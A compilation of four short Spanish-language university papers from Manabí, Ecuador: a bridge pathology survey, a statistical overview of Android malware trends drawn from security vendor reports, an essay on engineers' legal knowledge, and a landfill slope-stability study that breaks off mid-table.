EVALUACIÓN DE PATOLOGÍAS DE FALLA EN EL PUENTE DE LA CALLE 10 DE AGOSTO QUE ATRAVIESA EL RÍO JIPIJAPA

Ing. Glider Parrales Cantos, Mg.

Lady Esperanza Soledispa Cedeño

Ing. Gabriela Noemí Indacochea Baque

Ing. Salvador Alejandro Cevallos Rodríguez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

lglipaca@hotmail.com

laddy_espe_13@hotmail.com

RESUMEN

La preocupación con un gran número de puentes con importantes problemas patológicos fue la motivación para llevar a cabo esta investigación. El puente de la calle 10 de agosto tiene relevancia significativa en el desarrollo económico y social del cantón Jipijapa, pues debe garantizar el tránsito de personas, vehículos materia prima y productos locales. Sin embargo, se realizó el estudio para ver en qué nivel de severidad patológica se encuentra este puente, si no estuviera el mismo la movilidad sería difícil, causando incomodidad e inseguridad para los usuarios.

Este trabajo tuvo el propósito de evaluar las condiciones de conservación del puente de la calle 10 de agosto. El estudio se basó en el análisis del puente sobre el terreno ante manifestaciones patológicas con diferentes materiales.

Se establecieron conceptos que son aplicables al método correctivo y a la identificación de la patología en puentes de concreto, concluyendo que la forma más adecuada para evitar un estado patológico es el mantenimiento preventivo.

Palabras clave: Puente, patología, método, identificación

ABSTRACT

The concern with a large number of bridges with significant pathological problems was the motivation to carry out this research. The bridge of Calle 10 de Agosto has significant relevance in the economic and social development of the canton Jipijapa, since it must guarantee the transit of people, raw material vehicles and local products. However, the study was conducted to see at what level of pathological severity this bridge is located, if it were not the same mobility would be difficult, causing discomfort and insecurity for users.

This work had the purpose of evaluating the conditions of conservation of the bridge of the street 10 of August. The study was based on the analysis of the bridge on the ground before pathological manifestations with different materials.

Concepts were established that are applicable to the corrective method and to the identification of pathology in concrete bridges, concluding that the most adequate way to avoid a pathological state is preventive maintenance.

Keywords: Bridge, pathology, method, identification

INTRODUCCIÓN

Son diversos los casos de colapsos y fallas de puentes vehiculares y peatonales este problema debe ser objeto de reflexión y análisis por parte de la ingeniería para determinar sus causas y posibles soluciones. Los efectos negativos desde el punto de vista económico, social y político que producen la caída de un puente son enormes y lo cual debe ser de preocupación para las entidades públicas y privadas responsables de la administración.

Los puentes son vías de comunicación terrestre de vital importancia, su creación, conservación y mantenimiento es fundamental para el desarrollo de una ciudad. La patología del concreto se define como el estudio sistemático de los procesos y características de las “enfermedades” o los “defectos y daños” que pueden sufrir el concreto, sus causas, sus consecuencias y soluciones.

En este estudio lo que se pretende es dar un diagnóstico de los daños presentes en el puente junto con sus posibles soluciones viables, esto posterior de un análisis realizado en los elementos propios del puente y sus alrededores, con evaluación técnica que permita identificar las patologías de fallas para proponer alternativas de reparación de daños causados por ciertas patologías que pueda presentar el puente de la calle 10 de agosto.

La realización de estos proyectos se debe dar una gran importancia ya que dan valor social y generan sentido de pertinencia a las estructuras de la ciudad.

MATERIALES Y MÉTODOS

MATERIALES

Regla y cinta métrica para establecer las profundidades de los agrietamientos, deterioros, etc. De los elementos de la estructura del puente.

Cámara Digital, para las evidencias patológicas de las estructuras y posterior formulación del inventario de inspección de puentes.

GPS portátil.

Cuaderno de campo, lapicero, lápiz, regla de dibujo para bosquejos, etc.

Equipos de protección individual (EPPs); casco, zapatos de seguridad, chalecos salvavidas, lentes, guantes y conos de seguridad etc.

MÉTODOS

La investigación elaborada fue de tipo descriptivo, donde nos enmarcaremos en observar y describir el comportamiento las variables de la investigación para luego ser analizadas e interpretadas, sin alterar la condición de cómo se encuentra.

El diseño de la investigación utilizado nos indicó como abordar metodológicamente la investigación, acorde a su tipo y grado de investigación; con el fin de recolectar la información necesaria para reconocer el problema de investigación, además el diseño de indagación fue no experimental, porque se estudió y se analizó las variables sin recurrir a laboratorio; y de corte transversal, porque se efectuó el análisis en el periodo de abril-2017.

RESULTADOS Y DISCUSIÓN

En la calle 10 de agosto y Imbabura se encuentra ubicado el puente vehicular a evaluar cuyas coordenadas geográficas de acuerdo al sistema UTM son Norte 9850996,95 m S y Abscisa 546617,56 m E como se observa en la figura.

TIPOS DE PATOLOGIAS	ÁREA AFECTADA	% AFECTADO
GRIETAS	11,9	1,98%
FISURAS	24,66	2,24%
EFLORESCENCIA	30,62	7,66%
IMPACTOS	9,09	2,27%
DESPRENDIMIENTOS	9,94	1,66%
CORROSIÓN DE CONCRETO	5,7	1,90%
SOCAVACIÓN	0	0,00%
EROSIÓN POR ABRASIÓN	27,02	6,76%
EROSIÓN POR CA VITACIÓN	14,9	3,73%
LIXIVIACIÓN	2,5	0,63%
COLONIZACIÓN	12,5	3,13%
FRACTURAS	0	0,00%
FILTRACIÓN(HUMEDAD)	26,13	8,71%
ÁREA TOTAL AFECTADA	174,96	40,65%

COMPONENTES DEL PUENTE	ÁREA TOTAL	ÁREA AFECTAD	ÁREA NO AFECTAD	% AFECTADA	% NO AFECTADA	NIVEL DE SEVERIDAD
UM-01	15,21	3,80	11,41	24,98%	75,02%	1
UM-02	25,36	11,18	14,18	44,09%	55,91%	2
UM-03	71,17	32,10	39,07	45,10%	54,90%	2
UM-04	50,97	35,57	15,40	69,79%	30,21%	3
UM-05	24,52	14,50	10,02	59,14%	40,86%	2
UM-06	21,70	12,28	9,42	56,59%	43,41%	2
UM-07	5,10	2,53	2,57	49,61%	50,39%	2
UM-08	25,40	0,00	25,40	0,00%	100,00%	1
UM-09	0,00	0,00	0,00	0,00%	0,00%	5
UM-10	62,80	31,40	31,40	50,00%	50,00%	2
UM-11	62,80	34,10	28,70	54,30%	45,70%	2
UM-12	0,00	0,00	0,00	0,00%	100,00%	1
UM-13	0,00	0,00	0,00	0,00%	0,00%	1

Las técnicas de rehabilitación pueden ser reversibles o irreversibles, en la primera se va tratar de que la estructura obtenga nuevamente su capacidad portante reforzando los elementos sin intervención de elementos nuevos, solo reparación de elementos dañados, que en su conjunto mejoren la ductilidad del puente, la resistencia y rigidez de los diafragmas.

Y de acuerdo a la información obtenida en la evaluación detallada o secundaria se van a presentar medidas de rehabilitación en función de sus aspectos de servicios tales como, barandas, elementos no estructurales y de sus elementos estructurales apoyos, muros, estribos, vigas, tablero.

CONCLUSIONES.

La evaluación primaria realizada en el puente de la calle 10 de agosto permitió conocer el estado general en que se encontraba la superestructura y subestructura, así como también tamizar los daños de acuerdo a la cantidad y gravedad que se presentaron en el puente.

Los resultados de la evaluación detallada se obtuvieron como un aporte de todos los elementos particulares del puente, generando expresiones que indican el porcentaje (%) total de vulnerabilidad. Se pudo determinar áreas totales en función a componentes o muestras evaluadas, de ello se puede observar que la muestra de mayor área afectada es el tablero que tiene el (69,79%) de área afectada, seguido de la viga principal con (59,14%), de la viga diafragma en un (56,59), y los estribos derecho e izquierdo con (50% - 54,30) respectivamente cabe destacar que las áreas más afectadas en los componentes del puente se deben a la presencia de patologías de menor o mayor severidad, las cuales todavía no se puede determinar el nivel de severidad de esa muestra, esto lo ratifica la guía de inspección de puentes del ministerio de transportes y comunicaciones MTC – 2006.

Para las reparaciones de las subestructuras debe tenerse cuidado en el cálculo de las cantidades y ubicación del acero porque se la podría estar sobre reforzando o por el contrario las armaduras serían insuficiente la resistir las cargas y empuje laterales.

RECOMENDACIONES

Colocar bajantes en los drenajes del puente para impedir el contacto constante del agua con las vigas, muros y estribos, evitando así la corrosión del acero y degradación del concreto.

Realizar el reforzamiento de los estribos y el muro que presentaron fallas a cortante para aumentar su resistencia y vida útil. Y también resanar con mortero simple y aditivos las patologías que no afecta al desempeño estructural del puente.

El mantenimiento periódico a los puentes vehiculares de concreto es la mejor solución para prevenir la aparición temprana de patologías físicas en dichas estructuras. Porque se pudo constatar que el puente evaluado no presentaba mantenimientos recientes.

REFERENCIAS BIBLIOGRÁFICAS

Pérez Porto, J., & Merino, M. (2015). Definición de puente. Obtenido de Definicion.De: <https://definicion.de/puente/>

Anonymous. (11 de 2 de 2018). Tipos de puentes. Obtenido de NANOPDF.COM: https://nanopdf.com/download/unidad-i-la-informacion-se-encuentra-en_pdf

Arquitectura, a. (12 de 5 de 2012). Acero estructural. Obtenido de ARQHYS ARQUITECTURA: <http://www.arqhys.com/contenidos/estructurales-aceros.html>

Astorga, A., & Rivero, P. (2009). Clasificación general de patologías. Obtenido de CIGIR: http://www.chacao.gob.ve/eduriesgo/vulnerabilidad_archivos/04_patologias_en_las_edificaciones.pdf

Bembibre, C. (8 de 12 de 2009). Puente. Obtenido de Definicion abc: <https://www.definicionabc.com/tecnologia/puente.php>

Cardenas Ortega, O. (11 de 3 de 2016). Partes de un puente. Obtenido de SlideeShare: <https://es.slideshare.net/EMANECERS/partes-de-un-puente-59442007>

Carrera, A. (15 de 4 de 2016). DIAFRAGMAS EN PUENTES. Obtenido de SCRIBD: <https://es.scribd.com/doc/168151591/DIAFRAGMAS-EN-PUENTES-con-graficos>

Comunidadescolar. (2014). Diagnosticos y soluciones de patologías. Obtenido de TÉCNICAS DE REPARACIÓN Y REFUERZO DE ESTRUCTURAS DE HORMIGÓN ARMADO: http://www.comunidadescolar.cl/documentacion/BasesPostulacion/Manual_Reparaciones_Tipicas.pdf

SOFTWARE MALICIOSO EN DISPOSITIVOS MOVILES CON SISTEMA OPERATIVO ANDROID.

Ing. Julio Johnny Regalado Jalca

Murillo Baque Dante Stalin

Karla Alexandra González Molina

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

jennilisbeth_12@hotmail.com

RESUMEN

El desarrollo acelerado del software malicioso o malware se ha originado en los últimos años, esto se debe a que en el Sistema Operativo móvil más utilizado a nivel mundial es Android, siendo en punto principal para los hackers y piratas informáticos, el SO de Google cuenta con más de 2.000 millones de dispositivos en todo el planeta, esto se debe a que los usuarios de Android disponen de la libertad de descargar e instalar aplicaciones de fuentes externas a la tienda oficial, poniendo en peligro la integridad de la información de los usuarios.

Para determinar el avance acelerado del software malicioso se realizaron comparaciones de los informes actualizados emitidos por G-DATA, KasperskyLab, AV-TEST y Google Play Protect expertos en ciberseguridad donde se observa un gran incremento de software malicioso en el año 2018 en comparación con años anteriores.

Teniendo como software potencialmente malicioso a los troyanos, ransomware, seguidos por las amenazas por fraude por Clic, las mismas que son descargables desde la tienda de google play en aplicaciones, obteniendo permisos sin que el usuario se percate.

Palabras clave: Android; Software malicioso; Google; ransomware.

ABSTRACT

The accelerated development of malware or malware has originated in recent years, this is because in the most widely used mobile operating system worldwide is Android, being the main point for hackers and hackers, the Google OS account with more than 2 billion devices worldwide, this is because Android users have the freedom to download and install applications from external sources to the official store, endangering the integrity of user information.

In order to determine the accelerated progress of malicious software, comparisons were made of the updated reports issued by cybersecurity experts G-DATA, KasperskyLab, AV-TEST and Google Play Protect, where a large increase in malicious software is observed in 2018 compared to years previous.

Having as potentially malicious software Trojans, ransomware, followed by threats by fraud by Clic, the same that are downloadable from the Google Play store in applications, obtaining permissions without the user being aware.

Keywords: Android; Malicious Software; Google; Ransomware.

INTRODUCCIÓN

En la actualidad el uso de dispositivos móviles ha crecido agigantadamente, siendo parte del diario vivir, en él tenemos acceso a llamadas, mensajería instantánea, internet, datos relevantes, acceso a cuentas bancarias, y un gran número de aplicaciones que cada vez más aumenta su crecimiento.

Existen varios sistemas operativos para los dispositivos como son Android, IOS, Symbian, RIM, Microsoft, siendo el sistema operativo Android el que tiene mayor cantidad de usuarios con más de 2.000 millones de dispositivos distribuidos a nivel mundial, su crecimiento fue tan grande al ser una plataforma de Linux, con su kernel que puede ser modificado.

Al ser una plataforma con una gran cantidad de usuarios, es un foco latente para los cyberdelincuentes para la creación de software malicioso y poder atacar a los dispositivos, logrando su cometido de robo de información, credenciales, etc.

para determinar el crecimiento del software malicioso para la plataforma Android.

Para Determinar el desarrollo acelerado de software malicioso en dispositivos móviles con sistema operativo Android se busca hacer una comparación basada en informes semestrales de diferentes tipos de herramientas, expertas en cybeseuridad. Teniendo como objetivo detallar el software malicioso y su familia, en el sistema operativo Android y como afecta este al usuario.

MATERIALES Y MÉTODOS

Materiales Utilizados

Para obtener los resultados se tomarán datos estadísticos del crecimiento de software malicioso, basándose en informes presentados por G DATA, Kaspersky- Lab, y Google Play Protect, compañías dedicadas a la cybeseuridad que semestralmente emiten informes sobre software malicioso encontrados en su base de datos.

Métodos

Se utilizó el método comparativo de las muestras obtenidas, la misma que sirve de apoyo para obtener los resultados y determinar el crecimiento del software malicioso en la plataforma de Android, para esto se utilizaran cuadros comparativos de acuerdo a los informes de las compañías antes mencionadas.

RESULTADOS Y DISCUSIÓN

Desde la aparición de Android en el 2008 con el dispositivo HTC Dream y debido a su gran incremento de usuarios, comenzó a aparecer el software malicioso, en la siguiente imagen obtenida de G DATA se ve el incremento considerable de software malicioso, en el 2018 se cerró con 3.189.480 amenazas detectadas, bastante similar al año 2016, lo que en un principio se pretendía cerrar al último semestre del 2018 con 3.500.000 millones de amenazas, cifras que suenan muy alarmantes para los dispositivos.

Incremento de software malicioso

Para la compañía Kasperky en el En el tercer trimestre de 2018, se detectó 1.305.015 paquetes de instalación maliciosos, 439 229 paquetes menos que en el trimestre anterior, su mayor alcance de software malicioso fue detectado en el segundo trimestre con 1.744.244 amenazas, en comparación al año 2017 un aumento considerable.

Incremento tercer trimestre de 2018

Comparacion entre G-Data y la Compañía Kaspersky

INFORMES	2017	2018
G- DATA	3.002.428	3.189.480
KASPERKY LAB	1.598.196	1.744.244

Como se puede observar en la tabla existe un incremento de software malicioso en el año 2018, basándose en las muestras obtenidas de ambas herramientas.

Grafica de Incremento

Gráficamente se puede observar el incremento de un 15% en consideración con el año 2017, una cifra preocupante para los usuarios.

Estas cifras presentadas son de forma general, a continuación, se presenta el tipo de software malicioso que más ataca al sistema operativo Android, obtenido desde la fuente de Google Play Protect, cabe destacar que la mayoría de software malicioso es obtenido desde fuentes no oficiales o descargas de terceros que afectan directamente al dispositivo.

Grafica de Incremento el sistema operativo Android

Teniendo un 62.9% ataques de software malicioso como los troyanos, seguido por Fraude por Clic con un 21.2%, Fraude por SMS con un 4.6%.

En el caso de los troyanos sus objetivos son propagarse en la red, robo de información personal, uso de credenciales, acceder remotamente al dispositivo, interceptación de llamadas, recibir y enviar mensajes de texto con costos, etc., dependiendo del tipo de troyano al que se presente se acceden a permisos sin que el usuario lo note y así lograr su cometido.

Fraude por clic generalmente envía la información a la que el mismo usuario accede sin saber que se trata de software malicioso que perjudica a su dispositivo.

Fraude por SMS existen diferentes maneras, ya puede ser que el usuario este enviando a su lista de contactos mensajes de texto para que acceden a un link y así propagar el software malicioso, sin que el usuario sepa que lo está haciendo; el envío y recepción de mensajes de textos que generan costos que son enviados al creador de software malicioso (cyberdelincuente).

CONCLUSIONES.

- El aumento de software malicioso ha incrementado considerablemente en el 2018, a pesar de las vulnerabilidades que anualmente se solucionan.
- El software que más ataca a los dispositivos móviles es el troyano, que viene en aplicaciones que se encuentran en la tienda de Google Play.
- Es importante que el usuario conozca como cultura general de la descarga directa de aplicaciones de la tienda de Google Play.

RECOMENDACIONES

- Si detecta en su dispositivo móvil Android algún comportamiento inusual o extraño es necesario realizar una limpieza o utilizar un antivirus para detectar y solucionar el problema.
- En Android, una aplicación maliciosa no entra como tal, nosotros somos quienes le damos permiso, esto no lo hacemos de manera consciente, lo que intentan estas apps peligrosas es colarse sin que nos demos cuenta con el objetivo de obtener permisos para tener el control como administrador del dispositivo.

REFERENCIAS BIBLIOGRÁFICAS

Google, (2008) Informes, Seguridad del Ecosistema Android, disponible en: <https://transparencyreport.google.com/android-security/overview?hl=ES>

Garcia Nieto J. (2018) Xataka Móvil, Así es como Android se ha comido el mercado en diez años, disponible en: <https://www.xatakamovil.com/sistemas-operativos/asi-como-android-se-ha-comido-mercado-diez-anos>

Chebyshev Victor, Sinitsyn Fedor (2018) SecureList, Desarrollo de las amenazas informáticas en el tercer trimestre de 2018, disponible en: <https://securelist.lat/it-threat-evolution-q3-2018-statistics/88066/>

AV-TEST (20 de julio de 2018). El informe sobre seguridad 2017/2018 de AV-TEST: El análisis de la actual situación de amenaza para la TI. <https://www.av-test.org/es/noticias/el-informe-sobre-seguridad-20172018-de-av-test-el-analisis-de-la-actual-situacion-de-amenaza-para/>

EL CONOCIMIENTO TÉCNICO Y LEGAL PARA LA BUENA PRÁCTICA PROFESIONAL DE LA INGENIERÍA CIVIL

Ing. Francisco Segundo Ponce Reyes.

Valeria Estefanía Cabay Zambrano

Tania Maricela Macías Parrales

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

RESUMEN

El propósito de este trabajo es analizar el conocimiento técnico y legal para la buena práctica profesional de la ingeniería civil; realizado en base a observación y comparación de diversas auditorías en las Instituciones de la zona sur de Manabí. Se aplicó metodología tipo cualitativo, información basada en la observación de los resultados de las auditorías que realiza la Contraloría General del Estado. De forma complementaria se utilizó el método de la revisión bibliográfica para recopilar la información más relevante sobre el tema en estudio. El estudio analiza el conocimiento técnico y legal que debe tener el Ingeniero Civil, para planificar, ejecutar, controlar proyectos de Ingeniería Civil; y poder ejercer de buena manera la profesión. Para la buena práctica profesional es necesaria la formación del futuro profesional en ambos campos, el técnico y el legal. Esto se convierte en una condición de querer ser un profesional exitoso.

PALABRAS CLAVE: conocimiento técnico y legal, comparación de diversas auditorías, profesional exitoso.

ABSTRACT

The purpose of this work is to analyze the technical and legal knowledge for the good professional practice of civil engineering; carried out on the basis of observation and comparison of various audits in the Institutions of the South Area of Manabí. A qualitative standard methodology was applied, based on the observation of the results of the audits carried out by the Office of the Comptroller General of the State. In addition, the method of bibliographic review was used to collect the most relevant information on the topic under consideration.

The study analyzes the technical and legal knowledge that the Civil Engineer must have, to plan, execute, control projects of Civil Engineering; and be able to exercise the profession in a good way. For good professional practice it is necessary to train the future professional in both the technical and legal fields. This becomes a condition of wanting to be a successful professional.

KEYWORDS: technical and legal knowledge, comparison of various audits, successful professional.

INTRODUCCIÓN

El ejercicio profesional de la ingeniería civil requiere de amplios conocimientos técnicos y legales. Toda vez que en el ejercicio de la profesión se presentan diversos problemas de índole técnico y legal, los que hay que solucionar. He allí el problema, muchas jóvenes profesionales que aún no tienen la experiencia suficiente cometen muchos errores.

Estos errores técnicos y de inobservancia a la Ley no los nota el en momento o inicio de la acción, sino que son conocidos posteriormente, cuando la entidad de control de las Instituciones del Estado realiza los hallazgos.

Es necesario entonces que la formación sea integral, es decir técnica y legal, para actuar a la defensiva y cumpliendo con la Ley, lograr que los problemas producto de los hallazgos sean bien justificados y solucionados, y así tener un desempeño profesional saludable y lleno de éxitos y gratas experiencias.

En este sentido es importante que el Ingeniero civil tenga pleno conocimiento de las áreas de la ingeniería civil: Vías de comunicación, hidráulica, sanitaria y estructura; y que la misma se complemente con el conocimiento de las leyes, normas aplicables al ejercicio de la profesión, como son:

- Ley Orgánica del Sistema Nacional de Contratación Pública.
- Reglamento de la Ley Orgánica del Sistema Nacional de Contratación Pública.
- Ley Orgánica de Finanzas Públicas.
- Ley Orgánica de la Contraloría General del Estado
- Reglamento de Ley Orgánica de la Contraloría General del Estado
- Normas de Control Interno de la Contraloría General del Estado
- Código Orgánico Integral Penal.
- Código Civil
- Constitución del Ecuador.

El ámbito y alcance del estudio se lo estableció para la zona sur de Manabí.

El objetivo consiste en analizar el conocimiento técnico y legal para la buena práctica profesional de la ingeniería civil; lo que se complementa con:

- Tener los conocimientos plenos de la formación profesional.
- Tener destrezas y habilidades técnicas para solucionar problemas técnicos de los proyectos.
- Adquirir conocimientos, destrezas y habilidades para interpretar y aplicar las diversas leyes, normas y reglamentos en el ejercicio de la profesión.

MATERIALES Y MÉTODOS

El presente trabajo fue realizado en base a observación y comparación de diversas auditorías en las Instituciones de la zona sur de Manabí.

Se utilizó metodología tipo cualitativo, información basada en la observación de los resultados de las auditorías que realiza la Contraloría General del Estado.

De forma complementaria se utilizó el método de la revisión bibliográfica para recopilar la información más relevante sobre el tema en estudio. Para la localización de los documentos bibliográficos se utilizaron varias fuentes documentales.

RESULTADOS Y DISCUSIÓN

Conocer las competencias y atribuciones que un profesional tiene, va de la mano con el conocimiento técnico de su campo de acción, en este sentido el trabajo pretende orientar al futuro profesional de la importancia de su preparación técnica y su complemento en la parte legal. Esto no significa que deba o tenga que estudiar la carrera de Leyes, sino más bien aprovechar ese potencial intelectual logrado con su formación profesional y auto educarse buscando el complemento para el ejercicio de su profesión.

Esto arroja que el profesional debe tener capacidad de resolución de problemas, ya que es el camino al éxito, y esto se logra poniendo en práctica todo lo aprendido; buena organización, responsabilidad, compromiso y disciplina, habilidades de comunicación, buenos contactos, liderazgo. Es decir, lograr formar un buen Ingeniero Civil con conocimientos técnicos y legales con el fin de servir y defender los intereses de la Entidad y la comunidad; y por consiguiente cumplir con lo establecido en la Ley y evitar problemas con el ente de control de las Instituciones del Estado.

Discusión

El estudio analiza el conocimiento técnico y legal que debe tener el Ingeniero Civil, para planificar, ejecutar, controlar proyectos de Ingeniería Civil; y poder ejercer de buena manera la profesión.

CONCLUSIONES.

Para la buena práctica profesional es necesario la formación del futuro profesional en ambos campos, el técnico y el legal. Esto se convierte en una condición sine qua non si quiere ser un profesional exitoso.

REFERENCIAS BIBLIOGRÁFICAS

Civil, E. d. (12 de Febrero de 2018). Universidad San Carlos de Guatemala. Obtenido de http://civil.ingenieria.usac.edu.gt/home/?page_id=66

Ecoterra, C. (02 de Junio de 2015). Personal Humanista. Obtenido de <http://ecoterra.com.do/valores-profesionales-del-ingeniero-civil>

Hernandez, E. (2017). Valore de un Ingeniero Civil. Chapas: Universidad Autónoma de Chapas.

Vallejo, F. (2007). Responsabilidad profesional en construcción de obras. Revista Derecho del Estado, 1-24.

ANÁLISIS DE LA ESTABILIZACIÓN DE TALUDES EN EL RELLENO SANITARIO DE LA CIUDAD DE JIPIJAPA

Pincay Macías Roger Alejandro

Ing. Cobos Lucio Denny Augusto, Mg

Ing. Peralta Delgado Jaime Adrián, Msc

Ing. Pedro Gabriel Merino Piguave

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

pincay-roger8230@unesum.edu.ec

RESUMEN

El estudio y análisis de los taludes del relleno sanitario de la ciudad de Jipijapa, se lo realizó mediante una investigación experimental, documental y de campo; con el fin de identificar las características geo mecánicas que presenta el suelo del relleno sanitario que se encuentra ubicado en el kilómetro 2.5 de vía Jipijapa-Guayaquil costado derecho y así mediante el método de estabilización de Fellenius obtener el factor de seguridad de cada talud, que es el principal indicador de inestabilidad y condición en la que se encuentra el talud de estudio. Para conocer las propiedades geo mecánicas del suelo se realizó una inspección de campo mediante la observación, evaluación y toma de muestras de los tipos de suelo con el fin de realizar los ensayos respectivos que cuyos resultados proporcionaron los parámetros para el diseño de taludes. Para la comprobación de los cálculos aplicando el método ordinario o de Fellenius se utilizó el programa GEOSLOPE en el que se consideró los parámetros físicos y mecánicos asumiendo tres tipos de materiales en el talud, el programa proporcionó datos y gráficas del factor de seguridad crítico y la superficie de deslizamiento.

Palabras claves: Talud, Factor de seguridad, GeoSlope, Geo mecánicas

ABSTRACT

The study and analysis of the slopes of the sanitary landfill of the city of Jipijapa, was carried out this experimental, documentary and field research; in order to identify the geomechanical characteristics of the soil of the sanitary landfill that is located at kilometer 2.5 of Jipijapa-Guayaquil right side and thus by the Fellenius stabilization method obtain the safety factor of each slope, which is the main indicator of instability and condition in which the study slope is located. In order to know the geomechanical properties of the soil, a field inspection was made by observing, evaluating and taking samples of the types of soil in order to carry out the respective tests whose results provided the parameters for the design of slopes. For the verification of the calculations applying the ordinary or Fellenius method, the GEOSLOPE program was used in which the physical and mechanical parameters were considered assuming

three types of materials in the slope, the program provided data and graphs of the critical safety factor and the sliding surface.

Keywords: Slope, Safety Factor, GeoSlope, Geomechanics

INTRODUCCIÓN

El relleno sanitario como método de disposición final de los desechos sólidos urbanos es sin lugar a dudas la alternativa más conveniente para los países de Latinoamérica. Sin embargo, es esencial asignar recursos financieros y técnicos adecuados para su planificación, diseño, construcción, operación y mantenimiento.

Para el mejoramiento de este proyecto se tienen que realizar los respectivos estudios de suelos de la zona donde se encuentra ubicado el relleno sanitario, tomando en cuenta los parámetros técnicos y legales para la respectiva realización del plan reestructivo del relleno, identificando la problemática que generan a las aguas subterráneas que circulan por el terreno.

Se conoce como talud a las superficies inclinadas respecto a la horizontal que hayan de adoptar permanentemente las masas de tierra. Cuando un talud se produce de forma natural, sin intervención humana, se denomina ladera natural o simplemente ladera. Cuando son producidos por el hombre se denominan cortes o taludes artificiales.

El análisis de estabilidad de taludes hace parte de un área de estudio de la geotecnia que permite identificar posibles riesgos y desastres naturales para así generar soluciones técnicas y económicamente viables. Es fundamental conocer los parámetros de resistencia del suelo y una vez se obtengan datos por el método de cálculo se podrá realizar un análisis de confiabilidad y sus alternativas de solución.

En muchas ocasiones no se dispone de diferentes fuentes de información para el cálculo de parámetros, la información podrá ser obtenida por correlaciones en función del SPT, retro cálculos y fuentes bibliográficas.

MATERIALES Y MÉTODOS

MATERIALES

Para determinar las características físico-mecánicas del suelo, realizaron 3 sondeos que fueron escogidos con un previo análisis donde se obtuvieron 18 muestras alteradas

SONDEOS

	SONDEO 1	SONDEO 2	SONDEO 3
Profundidad (m)	292 msnm E:546931.74 N:9846704.24 Z:17M	280 msnm E:546840.58 N:9846660.44 Z:17M	279 msnm E:546870.58 N:9846639.76 Z:17M
0,50 - 0,95	S1 – m1	S2 – m1	S3 – m1
1,50 – 1,95	S1 – m2	S2 – m2	S3 – m2
2,50 – 2,95	S1 – m3	S2 – m3	S3 – m3
3,50 – 3,95	S1 – m4	S2 – m4	S3 – m4
4,50 – 4,95	S1 – m5	S2 – m5	S3 – m5
5,50- 5,95	S1 – m6	S2 – m6	S3 – m6

TOPOGRAFÍA

La topografía del relleno sanitario utilizada para el análisis de los taludes fue realizada por estudiantes de la UNESUM con la implementación de un dron, donde se identificaron 16 posibles casos de inestabilidad en taludes naturales.

MÉTODOS

ENSAYO DE PENETRACIÓN ESTÁNDAR (SPT)

Para realizar este diagnóstico se llevaron a cabo trabajos de campo que permitieron recopilar datos estadísticos con base a los sondeos realizados con el SPT con 3 perforaciones hasta 6 metros de profundidad, basándose en la norma técnica del Instituto Ecuatoriano de Normalización - INEN 689, la cual hace referencia a la Asociación Americana de Ensayos de materiales – American Society of Testing Materials - ASTM D1586. Ensayo de penetración estándar.

Para la toma de datos del N (número de golpes) se tomó el registro de perforación, el número de golpes por cada 15 cm. de penetración o de la fracción correspondiente donde se obtuvieron los siguientes resultados:

PROFUNDIDAD	Nº GOLPES	PERMEABILIDAD	ÍNDICE DE PLASTICIDAD	Tipo de suelo
0.55 – 1.00	6	Impermeable	38,34	CH
1.55 – 2.00	3.5	Impermeable	41,63	CH
2.55 – 3.00	10	Impermeable	47,74	CH
3.55 – 4.00	11.	Impermeable	48,44	CH
4.55 – 5.00	12.	Muy poco permeable	17,44	MH
5.55 – 6.00	17.	Impermeable	34,15	OH

PROFUNDIDAD	Nº GOLPES	PERMEABILIDAD	ÍNDICE DE PLASTICIDAD	Tipo de suelo
0.55 – 1.00	9.5	Muy poco permeable	32,36	MH
1.55 – 2.00	16	Impermeable	42,56	CH
2.55 – 3.00	22	Impermeable	42,15	CH
3.55 – 4.00	21.	Impermeable	19,42	OH
4.55 – 5.00	20.	Impermeable	41,88	OH
5.55 – 6.00	27	Impermeable	50,85	CH

PROFUNDIDAD	Nº GOLPES	PERMEABILIDAD	ÍNDICE DE PLASTICIDAD	Tipo de suelo
0.55 – 1.00	8	Impermeable	39,6	CH
1.55 – 2.00	12	Impermeable	45,28	CH
2.55 – 3.00	10	Impermeable	55,92	OH
3.55 – 4.00	11.	Muy poco permeable	46,92	CH
4.55 – 5.00	10	Muy poco permeable	21,46	CL
5.55 – 6.00	13	Impermeable	23,18	CL

Para la obtención de la cohesión se utilizó la tabla de Karol 1960, además se utilizó la tabla propuesta por Hunt 1984 propiedades de suelos arcillosos y Skempton 1964 para la determinación del ángulo de fricción en relación al índice de plasticidad del suelo.

Para el cálculo del Factor de Seguridad se utilizó el método ordinario de Fellenius y se analizaron los taludes en el programa GeoStudio que utiliza el método general de equilibrio límite para satisfacer las fuerzas y momentos de equilibrio, teniendo en cuenta los factores de seguridad que debe cumplir el talud $FS_{\text{estático}} \geq 1.5$

Soil Type and SPT Blow Counts		Undisturbed Soil	
		Cohesion (psf)	Friction Angle (°)
Cohesive soils			
Very soft	(<2)	250	0
Soft	(2-4)	250-500	0
Firm	(4-8)	500-1,000	0
Stiff	(8-15)	1,000-2,000	0
Very stiff	(15-30)	2,000-4,000	0
Hard	(>30)	4,000	0
Cohesionless soils			
Loose	(<10)	0	28
Medium	(10-30)	0	28-30
Dense	(>30)	0	32
Intermediate soils			
Loose	(<10)	100	8
Medium	(10-30)	100-1,000	8-12
Dense	(>30)	1,000	12

Consistencia	N	Identificación manual	γ_{sat} g/cm ³	q_u (kg/cm ²)
Dura	>30	Se marca difícilmente	>2.0	>4.0
Muy rígida	15 30	Se marca con la uña del pulgar	2.08 2.24	2.0-4.0
Rígida	8 15	Se marca con el pulgar	1.92 2.08	1.0-2.0
Media	4-8	Moldeable bajo presiones fuertes	1.76 1.92	0.5-1.0
Blanda	2-4	Moldeable bajo presiones débiles	1.60 1.76	0.25-0.5
Muy blanda	<2	Se deshace entre los dedos	1.44 1.60	0-0.25

RESULTADOS Y DISCUSIÓN

PROPIEDADES MECÁNICAS

Mediante la inspección visual de campo y análisis de datos se identificaron 3 tipos de materiales en el perfil para el estudio de los taludes.

Se determinó las propiedades mecánicas por medio de correlaciones con el SPT, con el número de golpes no corregido para poder obtener los datos de Cohesión (C), Densidad (Y) y ángulo de fricción interna del suelo (ϕ).

Densidad del suelo Kn/m³	PERFORACIÓN 1	PERFORACIÓN 2	PERFORACIÓN 3
	18,05	19,13	18,84
	16,48	20,50	19,72
	19,33	21,09	19,33
	19,52	20,99	19,52
	19,72	20,90	19,33
	20,60	21,68	19,91

